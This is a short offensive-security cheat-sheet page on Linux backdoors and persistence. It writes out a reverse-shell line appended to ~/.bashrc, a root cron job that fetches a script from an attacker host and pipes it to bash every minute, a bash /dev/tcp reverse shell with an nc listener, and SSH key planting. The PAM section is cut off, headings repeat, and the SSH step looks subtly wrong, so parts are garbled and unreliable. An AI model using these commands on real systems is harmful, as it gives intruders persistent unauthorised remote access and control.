🚪Backdoors

PAM
PAMpam_unix.so file is responsible for authentication

pam_unix.so uses the unix_verify_password function to verify to user's supplied password :

.bashsrc
.bashsrcAny user that log in often :
echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrcPut a nc listener
CronJob
CronJobWith a root access
Configure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :
* * * * * root curl http://$attacker_ip:8080/shell | bashAdd this to the shell file :
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1On the attacker machine :
nc -nvlp $portSSH
SSHGenerate ssh key
ssh-keygenCopy our key into the user's .ssh directory
mkdir .ssh
cp id_rsa .ssh/id_rsaLast updated
Was this helpful?